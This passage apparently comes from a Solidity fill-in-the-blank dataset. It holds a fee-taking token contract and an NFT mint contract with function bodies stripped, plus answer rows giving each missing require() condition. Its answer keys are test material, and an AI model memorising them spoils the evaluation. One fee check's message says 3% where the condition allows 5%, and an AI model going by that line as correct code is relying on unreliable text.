uint256 private _totalSupply = 1_000_000_000 * 1e18;
IDexRouter public dexRouter;
address public TaxWallet = 0x5fCaa8B1c42953C0E8FcC7d3620F9177d99E3F53;
address[] public dexPairs;
uint256 public percentDivider = 1000;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus; // enable by default
bool public trading; // once enable can't be disable afterwards
uint256 public liquidityFeeOnBuying = 40; // 4% will be added to the liquidity
uint256 public TaxfeeOnBuying = 20; // 2% will be added to the Lp address
uint256 public liquidityFeeOnSelling = 40; // 4% will be added to the liquidity
uint256 public TaxFeeOnSelling = 20; // 2% will be added to the Lp address
uint256 liquidityFeeCounter = 0;
uint256 TaxfeeCounter = 0;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 EthReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function setBuyFeePercent(uint256 _TwFee, uint256 _lpFee)
external
onlyOwner
{
TaxfeeOnBuying = _TwFee;
liquidityFeeOnBuying = _lpFee;
require(<FILL_ME>)
}
function setSellFeePercent(uint256 _TwFee, uint256 _lpFee)
external
onlyOwner
{
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function updateTaxAddress(address _TaxWallet) external onlyOwner {
}
function addDexPair(address _newPair) external onlyOwner {
}
function removeDexPair(address _oldPair, uint256 _pairIndex)
external
onlyOwner
{
}
function enableTrading() external onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
function setFeeCountersOnBuying(uint256 amount) private {
}
function setFeeCountersOnSelling(uint256 amount) private {
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for doing a swap on Dex
library Utils {
using SafeMath for uint256;
function swapEthForTokens(
address routerAddress,
address USDT,
address TaxWallet,
uint256 ethAmount
) internal returns (uint256) {
}
function swapTokensForEth(address routerAddress, uint256 tokenAmount)
internal
{
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
| _TwFee.add(_lpFee)<=percentDivider.div(20),"Can't be more than 3%" | 216,855 | _TwFee.add(_lpFee)<=percentDivider.div(20) |
"Current sale is not started yet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
import "./ERC721AQueryable.sol";
contract TechnoAndChillERC721A is Ownable, ERC721A, ERC721AQueryable, PaymentSplitter {
using Strings for uint;
enum Step {
Pending,
WhitelistSale,
PublicSale,
Done
}
Step public sellingStep;
uint public constant MAX_SUPPLY = 9999;
uint public currentStepStartTime = 1653902507;
uint public currentStepEndTime = 1685438507;
uint public currentPriceToMint = 0.059 ether;
bytes32 public merkleRoot;
string public baseURI;
mapping(address => uint) amountNFTperWalletWhitelistSale;
mapping(address => uint) amountNFTperWalletPublicSale;
uint public nftMintedInWhitelistSale = 0;
uint public nftMintedInPublicSale = 0;
uint public giftNFTsMinted = 0;
uint public maxPerAddressDuringWhitelistSale = 1;
uint public maxPerAddressDuringPublicSale = 9999;
bool public isPaused;
uint private teamLength;
address[] private _team = [
0x75dfb9E4503c88668247F735266B301c7902e376,
0xDBb283ea2E2e53B2f2A10cC0aa7F59214E81360C,
0xE8eE5116Ba8e2FD67A6505A807Bf4DbB9174aa93,
0x616D129AcFDdc2C94cd5Ff33F8e34d267433FD1c,
0x39900d1ddB07c1e42d9D7c4c4CBF34af7F3cdD68,
0xFCE128Cfba83BC59A6cDF9ab42E0C5b2E3b1680a,
0x3c150f7888eA19a3E99909F71A6C30ccFDd3e33F,
0xa7d42996EE1F33C25651cc1A01CA4A4753642C63,
0xE940d7CfD462A92019Fd139D1Ee40bE83327bD83,
0x5a9523ACb27846D1A36a9694E069F147850F7d74,
0x9D25Ee021D16F0e6ee0122E7FA930adE9CAc9103,
0xE99CbF39524C405CdE163e198c445E7192D123C1,
0x15A14D28B95B3f11D2cd1EADCB44d44ff1D06C34,
0xC494A4Dd4747DA10b0691c57BC93D0934400Af04,
0x85EE323436710c6B091f23b2D1101Ddd2d1Ca585
];
uint[] private _teamShares = [
2925,
1800,
1800,
1100,
750,
600,
300,
200,
150,
150,
125,
25,
25,
25,
25
];
//Constructor
constructor()
ERC721A("Techno And Chill", "TACPass")
PaymentSplitter(_team, _teamShares) {
}
/**
* @notice This contract can't be called by other contracts
*/
modifier callerIsUser() {
}
/**
* @notice Mint function for the Whitelist Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
* @param _proof The Merkle Proof
**/
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser{
require(!isPaused, "Contract is paused");
require(sellingStep == Step.WhitelistSale, "Current sale is not activated");
require(<FILL_ME>)
require(currentTime() < currentStepEndTime, "Current sale is finished");
require(currentPriceToMint != 0, "Price is 0");
require(isWhitelisted(msg.sender, _proof), "Not whitelisted");
require(amountNFTperWalletWhitelistSale[msg.sender] + _quantity <= maxPerAddressDuringWhitelistSale, "You have reached the maximum number of NFTs minted for this sale");
require(totalSupply() + _quantity <= MAX_SUPPLY, "Total Supply exceeded");
require(msg.value >= currentPriceToMint * _quantity, "Not enougt funds");
amountNFTperWalletWhitelistSale[msg.sender] += _quantity;
nftMintedInWhitelistSale += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Mint function for the Current Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
**/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
}
/**
* @notice Allows the owner to gift NFTs
*
* @param _to The address of the receiver
* @param _quantity Amount of NFTs the owner wants to gift
**/
function gift(address _to, uint _quantity) external onlyOwner {
}
/**
* @notice Get the token URI of an NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override(ERC721A, IERC721Metadata) returns(string memory) {
}
/**
* @notice Allows to set the new price for the next sale
*
* @param _currentPriceToMint The new price for the next sale
*/
function setCurrentPriceToMint(uint _currentPriceToMint) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next whitelist sale
*
* @param _maxPerAddressDuringWhitelistSale The new supply for the next whitelist sale
*/
function setMaxPerAddressDuringWhitelistSale(uint _maxPerAddressDuringWhitelistSale) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next public sale
*
* @param _maxPerAddressDuringPublicSale The new supply for the next public sale
*/
function setMaxPerAddressDuringPublicSale(uint _maxPerAddressDuringPublicSale) external onlyOwner {
}
/**
* @notice Change the starting time (timestamp) of the current sale step
*
* @param _currentStepStartTime The new timestamp of the current start sale step
*/
function setCurrentStepStartTime(uint _currentStepStartTime) external onlyOwner {
}
/**
* @notice Change the end time (timestamp) of the current sale step
*
* @param _currentStepEndTime The new timestamp of the current end sale step
*/
function setCurrentStepEndTime(uint _currentStepEndTime) external onlyOwner {
}
/**
* @notice Get the current timestamp
*
* @return the current timestamp
*/
function currentTime() internal view returns(uint) {
}
/**
* @notice Change the step of the sale
*
* @param _step The new step of the sale
*/
function setStep(uint _step) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
*
* @param _isPaused true or false if we want to pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
*
* @param _baseURI the new base URI of the NFTs
*/
function setBaseURI(string memory _baseURI) external onlyOwner {
}
/**
* @notice Change the merkle root
*
* @param _merkleRoot the new MerkleRoot
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Hash an address
*
* @param _account The address to be hashed
*
* @return bytes32 The hashed address
*/
function leaf(address _account) internal pure returns(bytes32) {
}
/**
* @notice Returns true if a leaf can be proved to be a part of a merkle tree defined by root
*
* @param _leaf The leaf
* @param _proof The Merkle Proof
*
* @return True if a leaf can be proved to be a part of a merkle tree defined by root
*/
function _verify(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
/**
* @notice Check if an address is whitelisted or not
*
* @param _account The account checked
* @param _proof The Merkle Proof
*
* @return bool return true if the address is whitelisted, false otherwise
*/
function isWhitelisted(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function getBalance() public view returns(uint){
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external {
}
}
| currentTime()>=currentStepStartTime,"Current sale is not started yet" | 216,891 | currentTime()>=currentStepStartTime |
"Current sale is finished" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
import "./ERC721AQueryable.sol";
contract TechnoAndChillERC721A is Ownable, ERC721A, ERC721AQueryable, PaymentSplitter {
using Strings for uint;
enum Step {
Pending,
WhitelistSale,
PublicSale,
Done
}
Step public sellingStep;
uint public constant MAX_SUPPLY = 9999;
uint public currentStepStartTime = 1653902507;
uint public currentStepEndTime = 1685438507;
uint public currentPriceToMint = 0.059 ether;
bytes32 public merkleRoot;
string public baseURI;
mapping(address => uint) amountNFTperWalletWhitelistSale;
mapping(address => uint) amountNFTperWalletPublicSale;
uint public nftMintedInWhitelistSale = 0;
uint public nftMintedInPublicSale = 0;
uint public giftNFTsMinted = 0;
uint public maxPerAddressDuringWhitelistSale = 1;
uint public maxPerAddressDuringPublicSale = 9999;
bool public isPaused;
uint private teamLength;
address[] private _team = [
0x75dfb9E4503c88668247F735266B301c7902e376,
0xDBb283ea2E2e53B2f2A10cC0aa7F59214E81360C,
0xE8eE5116Ba8e2FD67A6505A807Bf4DbB9174aa93,
0x616D129AcFDdc2C94cd5Ff33F8e34d267433FD1c,
0x39900d1ddB07c1e42d9D7c4c4CBF34af7F3cdD68,
0xFCE128Cfba83BC59A6cDF9ab42E0C5b2E3b1680a,
0x3c150f7888eA19a3E99909F71A6C30ccFDd3e33F,
0xa7d42996EE1F33C25651cc1A01CA4A4753642C63,
0xE940d7CfD462A92019Fd139D1Ee40bE83327bD83,
0x5a9523ACb27846D1A36a9694E069F147850F7d74,
0x9D25Ee021D16F0e6ee0122E7FA930adE9CAc9103,
0xE99CbF39524C405CdE163e198c445E7192D123C1,
0x15A14D28B95B3f11D2cd1EADCB44d44ff1D06C34,
0xC494A4Dd4747DA10b0691c57BC93D0934400Af04,
0x85EE323436710c6B091f23b2D1101Ddd2d1Ca585
];
uint[] private _teamShares = [
2925,
1800,
1800,
1100,
750,
600,
300,
200,
150,
150,
125,
25,
25,
25,
25
];
//Constructor
constructor()
ERC721A("Techno And Chill", "TACPass")
PaymentSplitter(_team, _teamShares) {
}
/**
* @notice This contract can't be called by other contracts
*/
modifier callerIsUser() {
}
/**
* @notice Mint function for the Whitelist Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
* @param _proof The Merkle Proof
**/
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser{
require(!isPaused, "Contract is paused");
require(sellingStep == Step.WhitelistSale, "Current sale is not activated");
require(currentTime() >= currentStepStartTime, "Current sale is not started yet");
require(<FILL_ME>)
require(currentPriceToMint != 0, "Price is 0");
require(isWhitelisted(msg.sender, _proof), "Not whitelisted");
require(amountNFTperWalletWhitelistSale[msg.sender] + _quantity <= maxPerAddressDuringWhitelistSale, "You have reached the maximum number of NFTs minted for this sale");
require(totalSupply() + _quantity <= MAX_SUPPLY, "Total Supply exceeded");
require(msg.value >= currentPriceToMint * _quantity, "Not enougt funds");
amountNFTperWalletWhitelistSale[msg.sender] += _quantity;
nftMintedInWhitelistSale += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Mint function for the Current Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
**/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
}
/**
* @notice Allows the owner to gift NFTs
*
* @param _to The address of the receiver
* @param _quantity Amount of NFTs the owner wants to gift
**/
function gift(address _to, uint _quantity) external onlyOwner {
}
/**
* @notice Get the token URI of an NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override(ERC721A, IERC721Metadata) returns(string memory) {
}
/**
* @notice Allows to set the new price for the next sale
*
* @param _currentPriceToMint The new price for the next sale
*/
function setCurrentPriceToMint(uint _currentPriceToMint) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next whitelist sale
*
* @param _maxPerAddressDuringWhitelistSale The new supply for the next whitelist sale
*/
function setMaxPerAddressDuringWhitelistSale(uint _maxPerAddressDuringWhitelistSale) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next public sale
*
* @param _maxPerAddressDuringPublicSale The new supply for the next public sale
*/
function setMaxPerAddressDuringPublicSale(uint _maxPerAddressDuringPublicSale) external onlyOwner {
}
/**
* @notice Change the starting time (timestamp) of the current sale step
*
* @param _currentStepStartTime The new timestamp of the current start sale step
*/
function setCurrentStepStartTime(uint _currentStepStartTime) external onlyOwner {
}
/**
* @notice Change the end time (timestamp) of the current sale step
*
* @param _currentStepEndTime The new timestamp of the current end sale step
*/
function setCurrentStepEndTime(uint _currentStepEndTime) external onlyOwner {
}
/**
* @notice Get the current timestamp
*
* @return the current timestamp
*/
function currentTime() internal view returns(uint) {
}
/**
* @notice Change the step of the sale
*
* @param _step The new step of the sale
*/
function setStep(uint _step) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
*
* @param _isPaused true or false if we want to pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
*
* @param _baseURI the new base URI of the NFTs
*/
function setBaseURI(string memory _baseURI) external onlyOwner {
}
/**
* @notice Change the merkle root
*
* @param _merkleRoot the new MerkleRoot
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Hash an address
*
* @param _account The address to be hashed
*
* @return bytes32 The hashed address
*/
function leaf(address _account) internal pure returns(bytes32) {
}
/**
* @notice Returns true if a leaf can be proved to be a part of a merkle tree defined by root
*
* @param _leaf The leaf
* @param _proof The Merkle Proof
*
* @return True if a leaf can be proved to be a part of a merkle tree defined by root
*/
function _verify(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
/**
* @notice Check if an address is whitelisted or not
*
* @param _account The account checked
* @param _proof The Merkle Proof
*
* @return bool return true if the address is whitelisted, false otherwise
*/
function isWhitelisted(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function getBalance() public view returns(uint){
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external {
}
}
| currentTime()<currentStepEndTime,"Current sale is finished" | 216,891 | currentTime()<currentStepEndTime |
"You have reached the maximum number of NFTs minted for this sale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
import "./ERC721AQueryable.sol";
contract TechnoAndChillERC721A is Ownable, ERC721A, ERC721AQueryable, PaymentSplitter {
using Strings for uint;
enum Step {
Pending,
WhitelistSale,
PublicSale,
Done
}
Step public sellingStep;
uint public constant MAX_SUPPLY = 9999;
uint public currentStepStartTime = 1653902507;
uint public currentStepEndTime = 1685438507;
uint public currentPriceToMint = 0.059 ether;
bytes32 public merkleRoot;
string public baseURI;
mapping(address => uint) amountNFTperWalletWhitelistSale;
mapping(address => uint) amountNFTperWalletPublicSale;
uint public nftMintedInWhitelistSale = 0;
uint public nftMintedInPublicSale = 0;
uint public giftNFTsMinted = 0;
uint public maxPerAddressDuringWhitelistSale = 1;
uint public maxPerAddressDuringPublicSale = 9999;
bool public isPaused;
uint private teamLength;
address[] private _team = [
0x75dfb9E4503c88668247F735266B301c7902e376,
0xDBb283ea2E2e53B2f2A10cC0aa7F59214E81360C,
0xE8eE5116Ba8e2FD67A6505A807Bf4DbB9174aa93,
0x616D129AcFDdc2C94cd5Ff33F8e34d267433FD1c,
0x39900d1ddB07c1e42d9D7c4c4CBF34af7F3cdD68,
0xFCE128Cfba83BC59A6cDF9ab42E0C5b2E3b1680a,
0x3c150f7888eA19a3E99909F71A6C30ccFDd3e33F,
0xa7d42996EE1F33C25651cc1A01CA4A4753642C63,
0xE940d7CfD462A92019Fd139D1Ee40bE83327bD83,
0x5a9523ACb27846D1A36a9694E069F147850F7d74,
0x9D25Ee021D16F0e6ee0122E7FA930adE9CAc9103,
0xE99CbF39524C405CdE163e198c445E7192D123C1,
0x15A14D28B95B3f11D2cd1EADCB44d44ff1D06C34,
0xC494A4Dd4747DA10b0691c57BC93D0934400Af04,
0x85EE323436710c6B091f23b2D1101Ddd2d1Ca585
];
uint[] private _teamShares = [
2925,
1800,
1800,
1100,
750,
600,
300,
200,
150,
150,
125,
25,
25,
25,
25
];
//Constructor
constructor()
ERC721A("Techno And Chill", "TACPass")
PaymentSplitter(_team, _teamShares) {
}
/**
* @notice This contract can't be called by other contracts
*/
modifier callerIsUser() {
}
/**
* @notice Mint function for the Whitelist Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
* @param _proof The Merkle Proof
**/
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser{
require(!isPaused, "Contract is paused");
require(sellingStep == Step.WhitelistSale, "Current sale is not activated");
require(currentTime() >= currentStepStartTime, "Current sale is not started yet");
require(currentTime() < currentStepEndTime, "Current sale is finished");
require(currentPriceToMint != 0, "Price is 0");
require(isWhitelisted(msg.sender, _proof), "Not whitelisted");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_SUPPLY, "Total Supply exceeded");
require(msg.value >= currentPriceToMint * _quantity, "Not enougt funds");
amountNFTperWalletWhitelistSale[msg.sender] += _quantity;
nftMintedInWhitelistSale += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Mint function for the Current Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
**/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
}
/**
* @notice Allows the owner to gift NFTs
*
* @param _to The address of the receiver
* @param _quantity Amount of NFTs the owner wants to gift
**/
function gift(address _to, uint _quantity) external onlyOwner {
}
/**
* @notice Get the token URI of an NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override(ERC721A, IERC721Metadata) returns(string memory) {
}
/**
* @notice Allows to set the new price for the next sale
*
* @param _currentPriceToMint The new price for the next sale
*/
function setCurrentPriceToMint(uint _currentPriceToMint) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next whitelist sale
*
* @param _maxPerAddressDuringWhitelistSale The new supply for the next whitelist sale
*/
function setMaxPerAddressDuringWhitelistSale(uint _maxPerAddressDuringWhitelistSale) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next public sale
*
* @param _maxPerAddressDuringPublicSale The new supply for the next public sale
*/
function setMaxPerAddressDuringPublicSale(uint _maxPerAddressDuringPublicSale) external onlyOwner {
}
/**
* @notice Change the starting time (timestamp) of the current sale step
*
* @param _currentStepStartTime The new timestamp of the current start sale step
*/
function setCurrentStepStartTime(uint _currentStepStartTime) external onlyOwner {
}
/**
* @notice Change the end time (timestamp) of the current sale step
*
* @param _currentStepEndTime The new timestamp of the current end sale step
*/
function setCurrentStepEndTime(uint _currentStepEndTime) external onlyOwner {
}
/**
* @notice Get the current timestamp
*
* @return the current timestamp
*/
function currentTime() internal view returns(uint) {
}
/**
* @notice Change the step of the sale
*
* @param _step The new step of the sale
*/
function setStep(uint _step) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
*
* @param _isPaused true or false if we want to pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
*
* @param _baseURI the new base URI of the NFTs
*/
function setBaseURI(string memory _baseURI) external onlyOwner {
}
/**
* @notice Change the merkle root
*
* @param _merkleRoot the new MerkleRoot
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Hash an address
*
* @param _account The address to be hashed
*
* @return bytes32 The hashed address
*/
function leaf(address _account) internal pure returns(bytes32) {
}
/**
* @notice Returns true if a leaf can be proved to be a part of a merkle tree defined by root
*
* @param _leaf The leaf
* @param _proof The Merkle Proof
*
* @return True if a leaf can be proved to be a part of a merkle tree defined by root
*/
function _verify(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
/**
* @notice Check if an address is whitelisted or not
*
* @param _account The account checked
* @param _proof The Merkle Proof
*
* @return bool return true if the address is whitelisted, false otherwise
*/
function isWhitelisted(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function getBalance() public view returns(uint){
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external {
}
}
| amountNFTperWalletWhitelistSale[msg.sender]+_quantity<=maxPerAddressDuringWhitelistSale,"You have reached the maximum number of NFTs minted for this sale" | 216,891 | amountNFTperWalletWhitelistSale[msg.sender]+_quantity<=maxPerAddressDuringWhitelistSale |
"You have reached the maximum number of NFTs minted for this sale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
import "./ERC721AQueryable.sol";
contract TechnoAndChillERC721A is Ownable, ERC721A, ERC721AQueryable, PaymentSplitter {
using Strings for uint;
enum Step {
Pending,
WhitelistSale,
PublicSale,
Done
}
Step public sellingStep;
uint public constant MAX_SUPPLY = 9999;
uint public currentStepStartTime = 1653902507;
uint public currentStepEndTime = 1685438507;
uint public currentPriceToMint = 0.059 ether;
bytes32 public merkleRoot;
string public baseURI;
mapping(address => uint) amountNFTperWalletWhitelistSale;
mapping(address => uint) amountNFTperWalletPublicSale;
uint public nftMintedInWhitelistSale = 0;
uint public nftMintedInPublicSale = 0;
uint public giftNFTsMinted = 0;
uint public maxPerAddressDuringWhitelistSale = 1;
uint public maxPerAddressDuringPublicSale = 9999;
bool public isPaused;
uint private teamLength;
address[] private _team = [
0x75dfb9E4503c88668247F735266B301c7902e376,
0xDBb283ea2E2e53B2f2A10cC0aa7F59214E81360C,
0xE8eE5116Ba8e2FD67A6505A807Bf4DbB9174aa93,
0x616D129AcFDdc2C94cd5Ff33F8e34d267433FD1c,
0x39900d1ddB07c1e42d9D7c4c4CBF34af7F3cdD68,
0xFCE128Cfba83BC59A6cDF9ab42E0C5b2E3b1680a,
0x3c150f7888eA19a3E99909F71A6C30ccFDd3e33F,
0xa7d42996EE1F33C25651cc1A01CA4A4753642C63,
0xE940d7CfD462A92019Fd139D1Ee40bE83327bD83,
0x5a9523ACb27846D1A36a9694E069F147850F7d74,
0x9D25Ee021D16F0e6ee0122E7FA930adE9CAc9103,
0xE99CbF39524C405CdE163e198c445E7192D123C1,
0x15A14D28B95B3f11D2cd1EADCB44d44ff1D06C34,
0xC494A4Dd4747DA10b0691c57BC93D0934400Af04,
0x85EE323436710c6B091f23b2D1101Ddd2d1Ca585
];
uint[] private _teamShares = [
2925,
1800,
1800,
1100,
750,
600,
300,
200,
150,
150,
125,
25,
25,
25,
25
];
//Constructor
constructor()
ERC721A("Techno And Chill", "TACPass")
PaymentSplitter(_team, _teamShares) {
}
/**
* @notice This contract can't be called by other contracts
*/
modifier callerIsUser() {
}
/**
* @notice Mint function for the Whitelist Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
* @param _proof The Merkle Proof
**/
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser{
}
/**
* @notice Mint function for the Current Sale
*
* @param _account Account which will receive the NFT
* @param _quantity Amount of NFTs ther user wants to mint
**/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
require(!isPaused, "Contract is paused");
require(currentTime() >= currentStepStartTime, "Current sale step is not started yet");
require(currentTime() < currentStepEndTime, "Current sale step is finished");
require(sellingStep == Step.PublicSale, "Current sale is not activated");
require(currentPriceToMint != 0, "Price is 0");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_SUPPLY, "Total Supply exceeded");
require(msg.value >= currentPriceToMint * _quantity, "Not enough funds");
amountNFTperWalletPublicSale[msg.sender] += _quantity;
nftMintedInPublicSale += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Allows the owner to gift NFTs
*
* @param _to The address of the receiver
* @param _quantity Amount of NFTs the owner wants to gift
**/
function gift(address _to, uint _quantity) external onlyOwner {
}
/**
* @notice Get the token URI of an NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override(ERC721A, IERC721Metadata) returns(string memory) {
}
/**
* @notice Allows to set the new price for the next sale
*
* @param _currentPriceToMint The new price for the next sale
*/
function setCurrentPriceToMint(uint _currentPriceToMint) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next whitelist sale
*
* @param _maxPerAddressDuringWhitelistSale The new supply for the next whitelist sale
*/
function setMaxPerAddressDuringWhitelistSale(uint _maxPerAddressDuringWhitelistSale) external onlyOwner {
}
/**
* @notice Allows to set the max per address during the next public sale
*
* @param _maxPerAddressDuringPublicSale The new supply for the next public sale
*/
function setMaxPerAddressDuringPublicSale(uint _maxPerAddressDuringPublicSale) external onlyOwner {
}
/**
* @notice Change the starting time (timestamp) of the current sale step
*
* @param _currentStepStartTime The new timestamp of the current start sale step
*/
function setCurrentStepStartTime(uint _currentStepStartTime) external onlyOwner {
}
/**
* @notice Change the end time (timestamp) of the current sale step
*
* @param _currentStepEndTime The new timestamp of the current end sale step
*/
function setCurrentStepEndTime(uint _currentStepEndTime) external onlyOwner {
}
/**
* @notice Get the current timestamp
*
* @return the current timestamp
*/
function currentTime() internal view returns(uint) {
}
/**
* @notice Change the step of the sale
*
* @param _step The new step of the sale
*/
function setStep(uint _step) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
*
* @param _isPaused true or false if we want to pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
*
* @param _baseURI the new base URI of the NFTs
*/
function setBaseURI(string memory _baseURI) external onlyOwner {
}
/**
* @notice Change the merkle root
*
* @param _merkleRoot the new MerkleRoot
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Hash an address
*
* @param _account The address to be hashed
*
* @return bytes32 The hashed address
*/
function leaf(address _account) internal pure returns(bytes32) {
}
/**
* @notice Returns true if a leaf can be proved to be a part of a merkle tree defined by root
*
* @param _leaf The leaf
* @param _proof The Merkle Proof
*
* @return True if a leaf can be proved to be a part of a merkle tree defined by root
*/
function _verify(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
/**
* @notice Check if an address is whitelisted or not
*
* @param _account The account checked
* @param _proof The Merkle Proof
*
* @return bool return true if the address is whitelisted, false otherwise
*/
function isWhitelisted(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function getBalance() public view returns(uint){
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external {
}
}
| amountNFTperWalletPublicSale[msg.sender]+_quantity<=maxPerAddressDuringPublicSale,"You have reached the maximum number of NFTs minted for this sale" | 216,891 | amountNFTperWalletPublicSale[msg.sender]+_quantity<=maxPerAddressDuringPublicSale |
null | pragma solidity ^0.8.5;
abstract contract Ownable is Context {
address private _owner;
